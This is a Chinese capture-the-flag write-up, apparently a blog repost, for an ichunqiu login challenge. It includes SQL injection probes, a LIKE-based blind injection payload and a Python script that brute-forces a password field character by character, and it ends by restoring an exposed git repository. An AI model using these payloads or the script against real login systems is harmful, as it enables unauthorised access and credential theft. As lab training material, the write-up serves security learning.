标签:base inf agent int lag login header post 判断
打开题目,是普通的登录界面,用sqlmap试了下,并没有可以注入的地方。但是根据题目,还是需要先登陆,然后才能进行后一步的动作。
在用户名中输入:username‘ or 1=1# 和 username‘ or 1=2# 的结果不同。一个是密码错误,一个是用户名不存在,判断存在注入
通过查看资料,https://blog.csdn.net/m0_37921080/article/details/79972064,提示可以用 like 进行注入,admin’ or database() like ‘c%’ ;#
用以下脚本:
import string import requests url = ‘http://4f8d67166115472d8dd1ddc52fb24c48d6e10f61120f4a07.game.ichunqiu.com/Challenges/login.php‘ headers = {‘User-Agent‘: "Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0"} payloads = string.ascii_letters + string.digits temp = ‘‘ for i in range(100): print("hello") for p in payloads: payload = temp + p name = "admin‘ or p3ss_w0rd like ‘{}%‘ ;#".format(payload) data = dict(username=name, passwrod=‘test‘) res = requests.post(url, headers=headers, data=data) if (len(res.content) == 12): temp = temp + p print(temp.ljust(32, ‘.‘)) break
得到用户名(bctf3dm1n)和密码(MD5:2bfb1532857ddc0033fdae5bde3facdf,解密:adminqwe123666),其中把源码中的类名user_n3me和p3ss_w0rd作为数据库表的字段名,对字段内容进行猜解。
成功登陆后,发现是git(根据提示),用GitHack脚本还原git库,下载下来一个flag.php但是没有用。
标签:base inf agent int lag login header post 判断
原文地址:https://www.cnblogs.com/iamgroot/p/9553085.html